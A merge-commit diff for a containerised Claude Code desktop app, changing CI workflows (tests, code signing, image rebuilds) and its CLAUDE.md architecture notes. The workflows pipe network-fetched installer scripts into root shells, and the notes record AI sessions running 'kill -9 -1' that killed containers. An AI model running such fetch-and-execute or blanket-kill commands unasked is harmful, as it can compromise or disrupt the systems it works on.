Merge pull request 'triple-c-agent: in-container agent, app client, and Docker-parity test (phase 2a)' (#76) from feat/triple-c-agent into main

Adds three checks to host::agent::live_tests against a real container:
SigIgn/SigBlk match docker exec, re-opening /dev/stdout and /dev/stderr as
claude works through both, and a tty session ends when its client goes
away. Run against the pre-fix agent, it fails on SigIgn (SIGHUP ignored).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

.gitea/workflows/build-app-preview.yml

@@ -5,9 +5,13 @@ name: Build App (Preview)
 # sync.
 #
 # This is also the **PR build check**: it compiles Linux, macOS and Windows, so
-# a push that breaks any of them fails here. build-app.yml used to do that job
-# in parallel and publish nothing, which meant six OS builds per push and one
-# unreachable set of bundles; it is now releases-only.
+# a push that breaks any of them fails here. Its `test` job runs vitest and
+# `cargo test` too, so a push that breaks either suite fails here as well.
+# Previews are not code-signed (releases are, in build-app.yml): see the
+# comment on the Windows job's "Build Tauri app" step.
+# build-app.yml used to do the build-check job in parallel and publish nothing,
+# which meant six OS builds per push and one unreachable set of bundles; it is
+# now releases-only.
 #
 # The cost of the swap, stated plainly: one prerelease per PR commit that
 # touches `app/**` — so the workflow prunes its own, keeping the newest
@@ -57,6 +61,13 @@ name: Build App (Preview)
 # for real releases. See triple-c#32.)
 
 env:
+  # The ephemeral Proxmox runners (eph-pve3-*) ship needrestart, which after
+  # any apt-get install stops at an interactive "Daemons using outdated
+  # libraries" prompt and hangs the job until it times out. `sudo` resets the
+  # environment, so the apt-get calls below also pass these via `sudo env`;
+  # here they reach the NodeSource setup script through `sudo -E`.
+  NEEDRESTART_MODE: a
+  DEBIAN_FRONTEND: noninteractive
   GITEA_URL: ${{ gitea.server_url }}
   REPO: ${{ gitea.repository }}
   # How many preview releases survive a run, newest first — including the one
@@ -73,6 +84,9 @@ on:
       - "app/**"
       - "VERSION"
       - ".gitea/workflows/build-app-preview.yml"
+      # The app embeds the agent's sources for its local image build, and the
+      # agent's own tests run in the `test` job below.
+      - "container/triple-c-agent/**"
   workflow_dispatch:
 
 jobs:
@@ -221,6 +235,116 @@ jobs:
           echo "RELEASE_ID=${RELEASE_ID}" >> $GITHUB_OUTPUT
           echo "Release ${TAG} is id ${RELEASE_ID}"
 
+  # The test suites. Before this job CI ran neither: every check below lived on
+  # a developer's machine. The one that matters most is the app-command ACL
+  # census — `cargo test` is what re-checks the committed capability files and
+  # `gen/schemas/acl-manifests.json` against `generate_handler!`, and vitest's
+  # `capabilities.test.ts` is what keeps each window's code to the wrappers its
+  # capability grants. A command left ungranted builds fine and only fails at
+  # runtime ("not allowed by ACL"), so these tests are the merge-time guard.
+  #
+  # Independent of the release: no `needs`, so it runs alongside the three
+  # platform builds rather than in front of them, and a red test fails the PR
+  # check without holding up a preview someone may want to try anyway.
+  #
+  # Setup mirrors build-linux on purpose — the same Node, the same apt set
+  # (`cargo test` compiles the whole Tauri crate, so it needs WebKitGTK like
+  # a real build) and `npm ci` from the lockfile for the reasons given there.
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Install Node.js 22
+        run: |
+          NEED_INSTALL=false
+          if command -v node >/dev/null 2>&1; then
+            NODE_MAJOR=$(node --version | sed 's/v\([0-9]*\).*/\1/')
+            OLD_NODE_DIR=$(dirname "$(which node)")
+            echo "Found Node.js $(node --version) at $(which node) (major: ${NODE_MAJOR})"
+            if [ "$NODE_MAJOR" -lt 22 ]; then
+              echo "Node.js ${NODE_MAJOR} is too old, removing before installing 22..."
+              sudo rm -f "${OLD_NODE_DIR}/node" "${OLD_NODE_DIR}/npm" "${OLD_NODE_DIR}/npx" "${OLD_NODE_DIR}/corepack"
+              hash -r
+              NEED_INSTALL=true
+            fi
+          else
+            echo "Node.js not found, installing 22..."
+            NEED_INSTALL=true
+          fi
+          if [ "$NEED_INSTALL" = true ]; then
+            curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
+            sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs
+            hash -r
+          fi
+          node --version
+          npm --version
+
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Install system dependencies
+        run: |
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get update
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y \
+            libgtk-3-dev \
+            libwebkit2gtk-4.1-dev \
+            gstreamer1.0-plugins-base \
+            gstreamer1.0-plugins-good \
+            gstreamer1.0-pipewire \
+            gstreamer1.0-pulseaudio \
+            libayatana-appindicator3-dev \
+            librsvg2-dev \
+            libsoup-3.0-dev \
+            libssl-dev \
+            libxdo-dev \
+            pkg-config \
+            build-essential \
+            curl
+
+      - name: Install Rust stable
+        run: |
+          if command -v rustup >/dev/null 2>&1; then
+            rustup update stable
+            rustup default stable
+          else
+            curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain stable
+          fi
+          export PATH="$HOME/.cargo/bin:$PATH"
+          rustc --version
+          cargo --version
+
+      - name: Install frontend dependencies
+        working-directory: ./app
+        run: npm ci
+
+      # `npm run build` is `tsc && vite build`: the type check, and the
+      # `dist/` that `tauri::generate_context!` needs to exist before the Rust
+      # crate — and so `cargo test` — will compile at all.
+      - name: Type-check and build the frontend
+        working-directory: ./app
+        run: npm run build
+
+      - name: Frontend tests (vitest)
+        working-directory: ./app
+        run: npx vitest run
+
+      # `--locked`: test against the committed Cargo.lock, never a re-resolved
+      # one, for the same reason the frontend uses `npm ci`.
+      - name: Backend tests (cargo test)
+        working-directory: ./app/src-tauri
+        run: |
+          export PATH="$HOME/.cargo/bin:$PATH"
+          cargo test --locked
+
+      # The in-container agent is its own crate (container/triple-c-agent): a
+      # real server on loopback, exercised over HTTP/WebSocket as the current
+      # user. Its root-only test is #[ignore]d. The Docker-parity test against
+      # a real container lives in the app (host::agent::live_tests, ignored).
+      - name: Agent tests (cargo test)
+        working-directory: ./container/triple-c-agent
+        run: |
+          export PATH="$HOME/.cargo/bin:$PATH"
+          cargo test --locked
+
   build-linux:
     runs-on: ubuntu-latest
     needs: [compute-version, create-release]
@@ -244,7 +368,7 @@ jobs:
           fi
           if [ "$NEED_INSTALL" = true ]; then
             curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
-            sudo apt-get install -y nodejs
+            sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs
             hash -r
           fi
           node --version
@@ -267,10 +391,14 @@ jobs:
 
       - name: Install system dependencies
         run: |
-          sudo apt-get update
-          sudo apt-get install -y \
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get update
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y \
             libgtk-3-dev \
             libwebkit2gtk-4.1-dev \
+            gstreamer1.0-plugins-base \
+            gstreamer1.0-plugins-good \
+            gstreamer1.0-pipewire \
+            gstreamer1.0-pulseaudio \
             libayatana-appindicator3-dev \
             librsvg2-dev \
             libsoup-3.0-dev \
@@ -555,7 +683,7 @@ jobs:
           where node >nul 2>&1 && (
             node --version
           ) || (
-            curl -fSL -o node-install.msi "https://nodejs.org/dist/v22.14.0/node-v22.14.0-x64.msi"
+            curl -fSL -o node-install.msi "https://nodejs.org/dist/v22.23.4/node-v22.23.4-x64.msi"
             msiexec /i node-install.msi /quiet /norestart
             del node-install.msi
           )
@@ -571,7 +699,10 @@ jobs:
       - name: Install Tauri CLI via cargo
         run: |
           set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
-          cargo install tauri-cli --version "^2"
+          rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
+          rem the Linux and macOS jobs run, and kept identical to build-app.yml so
+          rem a preview is built by the same bundler as the release it previews.
+          cargo install tauri-cli --version "=2.11.0" --locked
 
       - name: Fix npm platform detection
         run: |
@@ -594,13 +725,21 @@ jobs:
 
       - name: Build Tauri app
         working-directory: ./app
+        # Previews are not code-signed: signing is metered, previews are built
+        # on every PR push, and a PR's workflow runs the PR's own code - so the
+        # signing secrets stay out of this workflow entirely. Releases are
+        # signed in build-app.yml.
+        #
+        # beforeBuildCommand is blanked through --config because the frontend
+        # was built in the step above. Not TAURI_CONFIG: the v2 CLI never
+        # reads that variable, and the inline one this step used to set was a
+        # no-op.
         env:
-          TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
           # See the matching comment on the Linux job's "Build Tauri app" step.
           TRIPLE_C_BUILD_SUFFIX: ${{ needs.compute-version.outputs.suffix }}
         run: |
           set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
-          cargo tauri build
+          cargo tauri build --config "{\"build\":{\"beforeBuildCommand\":\"\"}}"
 
       - name: Collect artifacts
         run: |

.gitea/workflows/build-app.yml

@@ -7,6 +7,7 @@ on:
       - "app/**"
       - "VERSION"
       - ".gitea/workflows/build-app.yml"
+      - "scripts/windows-*.ps1"
   workflow_dispatch:
 
 # Deliberately **not** on pull_request. Every publishing step here is gated on
@@ -16,6 +17,13 @@ on:
 # was unreachable. Previews now carry the PR check; this workflow is releases.
 
 env:
+  # The ephemeral Proxmox runners (eph-pve3-*) ship needrestart, which after
+  # any apt-get install stops at an interactive "Daemons using outdated
+  # libraries" prompt and hangs the job until it times out. `sudo` resets the
+  # environment, so the apt-get calls below also pass these via `sudo env`;
+  # here they reach the NodeSource setup script through `sudo -E`.
+  NEEDRESTART_MODE: a
+  DEBIAN_FRONTEND: noninteractive
   GITEA_URL: ${{ gitea.server_url }}
   REPO: ${{ gitea.repository }}
 
@@ -117,7 +125,7 @@ jobs:
           fi
           if [ "$NEED_INSTALL" = true ]; then
             curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
-            sudo apt-get install -y nodejs
+            sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs
             hash -r
           fi
           echo "Node.js at: $(which node)"
@@ -139,10 +147,14 @@ jobs:
 
       - name: Install system dependencies
         run: |
-          sudo apt-get update
-          sudo apt-get install -y \
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get update
+          sudo env NEEDRESTART_MODE=a DEBIAN_FRONTEND=noninteractive apt-get install -y \
             libgtk-3-dev \
             libwebkit2gtk-4.1-dev \
+            gstreamer1.0-plugins-base \
+            gstreamer1.0-plugins-good \
+            gstreamer1.0-pipewire \
+            gstreamer1.0-pulseaudio \
             libayatana-appindicator3-dev \
             librsvg2-dev \
             libsoup-3.0-dev \
@@ -595,7 +607,7 @@ jobs:
           where node >nul 2>&1 && (
             node --version
           ) || (
-            curl -fSL -o node-install.msi "https://nodejs.org/dist/v22.14.0/node-v22.14.0-x64.msi"
+            curl -fSL -o node-install.msi "https://nodejs.org/dist/v22.23.4/node-v22.23.4-x64.msi"
             msiexec /i node-install.msi /quiet /norestart
             del node-install.msi
           )
@@ -611,7 +623,11 @@ jobs:
       - name: Install Tauri CLI via cargo
         run: |
           set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
-          cargo install tauri-cli --version "^2"
+          rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
+          rem the Linux and macOS jobs run: the Windows code-signing path (sign
+          rem command, NSIS uninstaller signing) was verified against it, and "^2"
+          rem would change it underneath the pipeline on any Tauri release.
+          cargo install tauri-cli --version "=2.11.0" --locked
 
       - name: Fix npm platform detection
         run: |
@@ -632,10 +648,31 @@ jobs:
           set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
           npm run build
 
+      # Releases are signed with Azure Artifact Signing (scripts/windows-*.ps1).
+      # The setup fetches the signing client and a job-local .NET runtime, and
+      # writes the Tauri config holding the sign command, which "Build Tauri
+      # app" passes with --config. A missing secret fails here, before the build.
+      - name: Prepare code signing
+        env:
+          AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
+          AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
+          AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
+          ARTIFACT_SIGNING_ENDPOINT: ${{ secrets.ARTIFACT_SIGNING_ENDPOINT }}
+          ARTIFACT_SIGNING_ACCOUNT_NAME: ${{ secrets.ARTIFACT_SIGNING_ACCOUNT_NAME }}
+          ARTIFACT_SIGNING_PROFILE_NAME: ${{ secrets.ARTIFACT_SIGNING_PROFILE_NAME }}
+        run: powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -File scripts\windows-signing-setup.ps1
+
       - name: Build Tauri app
         working-directory: ./app
+        # The sign command comes in through --config, from the file "Prepare
+        # code signing" wrote. Not TAURI_CONFIG: the v2 CLI never reads that
+        # variable (the inline one this step used to set was a no-op), and
+        # "Verify signatures" is what caught it.
         env:
-          TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
+          # Read by the signing dlib itself, never passed on a command line.
+          AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
+          AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
+          AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
         run: |
           set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
           rem Every Tauri bundler it downloads - candle.exe, light.exe and
@@ -650,7 +687,20 @@ jobs:
           rem systemprofile\AppData\Local\tauri and systemprofile\.cache to the
           rem System32 originals, which makes the redirected view resolve. A
           rem runner running as a normal user needs no such patch.
-          cargo tauri build --bundles msi,nsis
+          cargo tauri build --bundles msi,nsis --config "%TRIPLE_C_TAURI_SIGN_CONFIG%"
+
+      - name: Verify signatures
+        run: >-
+          powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass
+          -File scripts\windows-verify-signatures.ps1
+          app\src-tauri\target\release\bundle\msi\*.msi
+          app\src-tauri\target\release\bundle\nsis\*.exe
+
+      # Tauri reports a failed sign command as just "failed to run powershell";
+      # windows-sign.ps1 keeps its own transcript, signtool /debug included.
+      - name: Show signing output
+        if: failure()
+        run: if exist .code-signing\sign-output.log type .code-signing\sign-output.log
 
       - name: Collect artifacts
         run: |

.gitea/workflows/build-stt.yml

@@ -55,5 +55,10 @@ jobs:
             ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ gitea.sha }}
             ghcr.io/shadowdao/triple-c-stt:latest
             ghcr.io/shadowdao/triple-c-stt:${{ gitea.sha }}
+          # The gha cache is served by the runner that picks the job up, and
+          # is unreachable from the job on some of ours (the home box's
+          # firewalled per-job bridge; ephemeral runners). Import failures
+          # only warn, but an export failure fails the build unless told not
+          # to -- the same setting build.yml already carries.
           cache-from: type=gha
-          cache-to: type=gha,mode=max
+          cache-to: type=gha,mode=max,ignore-error=true

.gitea/workflows/build.yml

@@ -11,6 +11,11 @@ on:
     paths:
       - "container/**"
       - ".gitea/workflows/build.yml"
+  # Weekly rebuild with no commit needed, so OS security fixes published since
+  # the last push reach the image (see APT_REFRESH in container/Dockerfile).
+  # Scheduled runs use the default branch, i.e. main.
+  schedule:
+    - cron: "17 4 * * 1"
 
 env:
   REGISTRY: repo.anhonesthost.net
@@ -64,13 +69,23 @@ jobs:
           username: shadowdao
           password: ${{ secrets.GH_PAT }}
 
+      # Changes once a week, which invalidates the cached `apt-get upgrade`
+      # layer (container/Dockerfile) so later security fixes are picked up.
+      - name: Compute the apt refresh stamp
+        id: apt
+        run: echo "stamp=$(date -u +%G-W%V)" >> $GITHUB_OUTPUT
+
       - name: Build and push container image
         uses: docker/build-push-action@v5
         with:
           context: ./container
           file: ./container/Dockerfile
           platforms: linux/amd64,linux/arm64
-          push: ${{ gitea.event_name == 'push' }}
+          # Publish from main pushes and the weekly scheduled rebuild (which
+          # runs on main); a pull_request run only validates.
+          push: ${{ gitea.event_name != 'pull_request' }}
+          build-args: |
+            APT_REFRESH=${{ steps.apt.outputs.stamp }}
           tags: |
             ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest
             ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ gitea.sha }}

.gitignore

@@ -1,6 +1,7 @@
 node_modules/
 app/dist/
 app/src-tauri/target/
+container/triple-c-agent/target/
 # Written by build.rs (tauri-build AppManifest); gen/schemas/acl-manifests.json is the
 # tracked, reviewable form of the same information.
 app/src-tauri/permissions/autogenerated/
@@ -16,3 +17,6 @@ screenshot_for_fix/
 
 # Package files pulled in by ad-hoc verification runs.
 *.deb
+
+# Windows CI code signing (scripts/windows-signing-setup.ps1)
+.code-signing/

CLAUDE.md

@@ -73,6 +73,11 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
 - **`hooks/`** — All Tauri IPC calls are encapsulated in hooks (`useTerminal`, `useProjects`, `useDocker`, `useSettings`)
 - **`lib/tauri-commands.ts`** — Typed `invoke()` wrappers; TypeScript types in `lib/types.ts` must match Rust models
 - **`components/terminal/TerminalView.tsx`** — xterm.js integration with WebGL rendering, URL detection for OAuth flow
+  - **Copy paths** (`copyCleanup.ts`, `osc52.ts`). OSC 52 base64 is UTF-8 *bytes* — never hand
+    `atob()`'s output to the clipboard (that was the `’` mojibake); OSC 52 text then gets only
+    `sanitizeInvisibles`. Ctrl+Shift+C / "Copy trimmed" run `cleanSelection`, which also undoes
+    Claude Code's hard wraps (it wraps its own output and moves the cursor, so rows are never
+    `isWrapped`) using `term.cols` and the selection's start column. Ctrl+Shift+Alt+C stays raw.
 - **`viewer/`** — the terminal file viewer's window (second Vite entry `viewer.html` →
   `src/viewer/main.tsx`; CodeMirror 6). `lib/filePathLinks.ts` decides what a path is;
   `components/terminal/filePathLinkProvider.ts` registers it with xterm. The OSC 8 handler now
@@ -83,6 +88,11 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
   lookup silently fall back to `index.html`, so the window just opens the *main app*, full UI and
   all, with no error anywhere; `file_viewer::tests::the_viewer_entry_exists_and_is_a_vite_input`
   in `file_viewer/mod.rs` is the only thing pinning this.
+  **Claude Code wraps its own output, so xterm's `isWrapped` misses most wrapped paths.** A word
+  longer than the line (a `/tmp/claude-<uid>/…` scratchpad path) is broken mid-word and the rest
+  drawn on the next row with cursor moves. `lib/xtermLineJoin.ts` bridges that when given `cols`
+  (row runs to the edge, next row continues with path characters, and the two runs could not
+  have fit on one line — the last test is what keeps prose from being glued together).
 - **`components/layout/`** — TopBar, MainTabs (the unified tab strip), Sidebar, StatusBar
 - **`components/projects/`** — `ProjectRow` (select-only list row), `ProjectList`, `AddProjectDialog`,
   and the editors reused by Project Home
@@ -172,7 +182,8 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
   container — Claude sessions, installed capabilities, scheduler tasks), `auth_bridge_commands.rs`,
   `auth_token_commands.rs`.
 - **`file_viewer/`** — one window per click (`file-viewer-<n>`), a managed `ViewerRegistry`,
-  resolution by probing `/workspace/<p>` then `/workspace/<mount>/<p>` in one exec as `claude`,
+  resolution by probing `/workspace/<p>` then `/workspace/<mount>/<p>` in one exec as `claude`
+  (`~/p` is `/home/claude/p`; a relative miss gets a second exec at `/home/claude/<p>`, `/tmp/<p>`),
   polling by `sha256sum`, saves staged in `/tmp` and swapped in by a `sh` script as the container
   user (spec §5 says why the archive API never writes to the target directory). Commands take
   `window: tauri::Window`, gate on the label and act on the caller's own registry entry — no
@@ -253,8 +264,8 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
 - **`docker/`** — Docker API layer using bollard:
   - `client.rs` — Singleton Docker connection via `OnceLock`
   - `container.rs` — Container lifecycle (create, start, stop, remove, inspect)
-  - `exec.rs` — Attached exec streaming. `create_attached_exec()` is the **single** place an
-    attached exec is opened; terminal sessions and the auth bridge both go through it.
+  - `exec.rs` — Docker's implementation of everything `host::ContainerTarget` does inside a
+    container. `create_attached_exec_spec()` is the **single** place an attached exec is opened.
   - `image.rs` — Image build/pull with progress streaming
   - `gateway.rs` — Optional LiteLLM sibling container giving Claude Code an Anthropic-format
     front end for providers that only speak OpenAI (see `gateway-container/`). Mirrors `stt.rs`.
@@ -271,6 +282,23 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
   - `legacy_cleanup.rs` — One-release migration shim removing leftovers from the deleted MCP
     feature (containers labelled `triple-c.mcp-server`, `triple-c-net-*` networks). Deletable once
     users have migrated.
+- **`host/`** — Where a project's container runs, and the only way into it. `ContainerTarget`
+  (`Docker`, and `Agent` — reached through the in-container `triple-c-agent` by `agent.rs`, per
+  `docs/superpowers/specs/2026-11-13-triple-c-agent-protocol.md`; AWS planned —
+  `docs/superpowers/specs/2026-11-13-aws-ecs-host-design.md`)
+  wraps execs, file transfer and `is_running`; `sessions.rs` holds `ExecSessionManager`.
+  `agent.rs` reuses `docker/exec.rs`'s `OneshotOutput`, host-file reader and uid probe so the two
+  variants cannot drift; an `Agent` target's token never appears in `Debug` or error text.
+  **Container-interior code must go through `ContainerTarget`, never `docker::exec`, bollard or
+  `get_docker()`** — `host::tests::no_container_interior_bollard_outside_the_host_layer` fails
+  the build on it. `lifecycle.rs`'s `ProjectHost` owns create/start/stop/find/remove and
+  discarding a project's persistent state; the project commands keep only host-neutral steps
+  (validation, status, sessions, auth bridge, syncs). `watch.rs` gives `container_watch` its
+  death reports and positive-exit check. `no_container_lifecycle_or_bare_docker_targets_outside_the_host_layer`
+  fails on lifecycle calls or `ContainerTarget::docker(id)` in non-test code outside `host/` and
+  `docker/`; get a target from `ContainerTarget::for_project`, `ProjectHost`, or a session
+  (`ExecSessionManager::get_target`). Base-image migration is the one Docker-only exception
+  (`DOCKER_ONLY`); shrink it, never grow it.
 - **`web_terminal/`** — Remote terminal access via axum HTTP+WebSocket server:
   - `server.rs` — Axum server lifecycle (start/stop), serves embedded HTML and handles WS upgrades
   - `ws_handler.rs` — Per-connection WebSocket handler with JSON protocol, session management, cleanup on disconnect
@@ -302,8 +330,27 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
     approach converges on the worst state: a 400 MB browser present with its libraries gone.
   - The layer sits immediately after Node (npx is its only prerequisite) and well above the shim
     `COPY`s, so editing a shim does not re-run a multi-hundred-megabyte apt install.
-- **`entrypoint.sh`** — UID/GID remapping to match host user, SSH key setup, git config, docker socket permissions, Claude Code settings.json injection, then `sleep infinity`
+- **`entrypoint.sh`** — UID/GID remapping to match host user, SSH key setup (`sync_host_ssh` *merges* the host dir into `~/.ssh`; never wipe it — container-made keys live there on the home volume), git config, docker socket permissions, Claude Code settings.json injection, then stays resident **as root** waiting on a root-owned
+  `triple-c-keepalive` sleep (respawned if killed; SIGTERM trap so `docker stop` is immediate).
+  **Never hand the container's lifetime to a process the `claude` user owns** — it used to end in
+  `exec su … claude -c "exec sleep infinity"`, and any `pkill sleep` / `kill -9 -1` a Claude
+  session ran killed the whole container. `container_watch.rs` (one Docker `die`-event
+  subscription) is what flips a project whose container exits on its own to Stopped and emits
+  `project-container-exited` with a `reason` (`exited` toasts; `found_stopped`, the first look of a run, is silent); `useProjectStatusEvents` applies it
 - **`triple-c-scheduler`** — Bash-based scheduled task system for recurring Claude Code invocations
+- **`triple-c-agent/`** — the in-container agent (its own Rust crate; protocol in
+  `docs/superpowers/specs/2026-11-13-triple-c-agent-protocol.md`). Built static by the Dockerfile's
+  `agent-build` stage, started by `entrypoint.sh` **only when a token is configured**, last, as root
+  under a supervisor loop. **Its contract is Docker parity**: an `ExecSpec` must behave through the
+  agent exactly as through `docker exec`. Any change to exec semantics on either side is checked by
+  `host::agent::live_tests::the_agent_answers_exactly_as_docker_exec_does` (ignored; needs an image
+  with the agent — see the crate README). The token never stays in the environment and never touches the
+  writable layer: the entrypoint moves it to a root-only file on `/dev/shm` (tmpfs — a file in the
+  writable layer would ride `docker commit` into the snapshot image) before anything runs, and the
+  agent refuses a token file others can read. The agent is started from an env/cwd snapshot taken
+  at the top of the entrypoint and held **in memory only** (it contains every API key in the env),
+  so execs see the container's configured env, not the script's. The app treats the agent as
+  untrusted: no redirects, capped bodies, timeouts on every small call (`host/agent.rs`).
 
 **`/home/claude` in the image is seed-only.** It is the mount point of the named volume
 `triple-c-home-{projectId}`, so after a project's *first* start the image's copy of that directory
@@ -568,6 +615,24 @@ security update. Migration is the non-destructive way out; Reset is the destruct
   the last commit. Migration diffs two filesystem manifests instead, filtered through dpkg
   ownership and presence-in-the-new-base. Measured on a real project, that turns 8,677 raw path
   differences into 2 genuinely user-authored ones.
+- **`/workspace` is reported two levels deep, never file by file** (`SUMMARISED_ROOTS`). One
+  `find -xdev` pass is piped through `awk`, which turns each depth-2 directory into one `S` entry
+  sized as the sum of the files beneath it (the same number the per-file sum gave the disk gate),
+  or a plain `d` if it holds no file at any depth (so empty scaffolds stay empty to the filter). A
+  user's worktrees and `node_modules` made a flat walk 8.6 MB — past the exec cap, so every
+  staleness check failed on start and stop — and pruning `node_modules`/`.git` by name only
+  reached 6.3 MB; now the whole manifest is ~1 MB. Summaries lose nothing: below `/workspace/<x>`
+  every per-path filter is vacuous, and `tar` copies a directory recursively. Three rules:
+  - **A failed `awk` is an error, never an empty `/workspace`.** The pipeline prints
+    `###SUMMARISED-OK` only on success and `check_manifest_complete` refuses a manifest without
+    it — otherwise the swap would destroy what the walk failed to see.
+  - **A summary is exempt from presence-in-the-base**, because it hides which paths are inside;
+    `--skip-old-files` on restore is the per-file answer. That rests on the base shipping nothing
+    under `/workspace` — pinned by the ignored live test
+    `the_base_ships_nothing_under_a_summarised_root`, and logged as a warning if a base breaks it.
+  - **Only `/workspace`.** The other roots stay per file: dpkg ownership and presence-in-the-base
+    are exactly what make their delta honest (`/usr/local/lib/node_modules`, base content in
+    `/opt`), and they are under 1 MB together.
 
 ### Authentication
 
@@ -646,6 +711,33 @@ Anthropic and Bedrock deliberately keep Claude Code's own defaults.
 - A new local window needs its own capability file (`capabilities/file-viewer.json` is the
   model), and `lib.rs`'s `on_window_event` stays guarded on `label() == "main"`.
 
+### Marketplace
+
+- Code: models in `models/marketplace.rs`; host-side logic in `src/marketplace/` (`git.rs` gix
+  cache + pins, `catalog.rs` repo format, `auth.rs` credentials, `gh_login.rs`, `payload.rs`,
+  `sync.rs`); commands in `commands/marketplace_commands.rs`; UI in `components/marketplace/` and
+  `projects/home/config/MarketplaceSection.tsx`. Spec:
+  `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
+- **Tokens never enter containers.** Marketplaces are fetched on the host into
+  `<data_dir>/triple-c/marketplaces/<id>.git`; containers only ever receive a tar of pinned
+  files. Do not add a code path that passes a marketplace credential into an exec, env var, label
+  or file in a container.
+- **Sync model:** after every container start (next to `sync_bedrock_credentials`) and on "Apply
+  now", the host builds the project's effective set (`global − disabled ∪ project`), then uploads
+  `payload.tar` **and the app-embedded script `src/marketplace/sync.sh`** (`include_str!`, not a
+  file in `container/`) to `~/.claude/triple-c/marketplace/incoming/` and runs it as `claude`,
+  once the entrypoint has finished (`READY_PROBE`: a root `triple-c-keepalive infinity` process
+  on current images, `su -s /bin/bash claude -c exec sleep infinity` on older ones — keep both).
+  The script is re-uploaded on every sync rather than baked into the image, so every
+  existing project always gets the version that matches the running app — `container/` is never
+  touched for this feature. The script only removes files and hook entries it recorded in
+  `~/.claude/triple-c/marketplace/state.json`; it must never overwrite or delete user-created
+  agents/skills/commands or user hooks. A sync failure must not fail the container start.
+- Installs are **pinned** to a commit; nothing updates without the user accepting a diff. Pinned
+  commits are kept alive by `refs/triple-c/pins/*` in the cache.
+- Marketplace changes need no container labels or recreation — they are applied by the sync, not
+  at create time.
+
 ## Secrets
 
 **`scripts/scan-secrets.sh` refuses a commit that adds something shaped like a live
@@ -677,9 +769,9 @@ nobody had reason to open. Fixtures are never live values; there is no case wher
 
 `commands::settings_export_commands`, `storage::settings_crypto`, `models::settings_export`
 (triple-c#35). Exports the *host* environment — global `AppSettings` plus the global secrets that
-live in the OS keychain instead: the shared Claude Code OAuth login and the model gateway's two
-keys. Per-project settings, per-project secrets, and anything in a project's Docker volumes are
-deliberately out of scope — this is not a project backup.
+live in the OS keychain instead: the shared Claude Code OAuth login, the model gateway's two keys,
+and every marketplace account's token. Per-project settings, per-project secrets, and anything in
+a project's Docker volumes are deliberately out of scope — this is not a project backup.
 
 - **`AppSettings` is not entirely the non-secret shape it looks like, and a review of this feature
   caught the one place that isn't.** `WebTerminalSettings::access_token` is a live bearer
@@ -696,6 +788,21 @@ deliberately out of scope — this is not a project backup.
   inside a generic "settings replaced" summary. Read this as the standing example of the class of
   thing to keep checking for in this feature, not a one-off fixed bug — any other field that looks
   like config but is actually a live credential would have the same problem.
+- **Marketplace account tokens travel in `ExportedSecrets`, not in `AppSettings`.** `Token` and
+  `GhContainer` accounts' tokens live in the keychain (`triple-c-marketplace-account-<id>`), so
+  they follow the same "carve out of the keychain, restore before the settings replace, only
+  overwrite what the file actually has" treatment as the other three secrets
+  (`ExportedSecrets::marketplace_account_tokens`, keyed by account id). Marketplaces and install
+  lists themselves are ordinary `AppSettings` fields and travel with the settings replace, but are
+  **validated** on import the same way the add-marketplace/install commands validate them
+  (`validate_imported_marketplace_state`) — an import is untrusted input, not a trusted restore.
+  The preview warns whenever the import carries one or more **global hook installs or global
+  plugin installs**, in addition to the base-URL and custom-image warnings above: a hook runs
+  commands in every project container, and a plugin can carry its own hooks, MCP/LSP servers and
+  commands into one. In the Marketplace tab both kinds have a confirm step before they install
+  (`HookConfirmModal` lists a hook's commands, `PluginConfirmModal` lists everything a plugin
+  brings that runs); an import installs them without either, so the preview warning is the only
+  place that confirmation happens for an import.
 - **Encrypted because it can carry live credentials, not for appearance's sake.** Argon2id derives
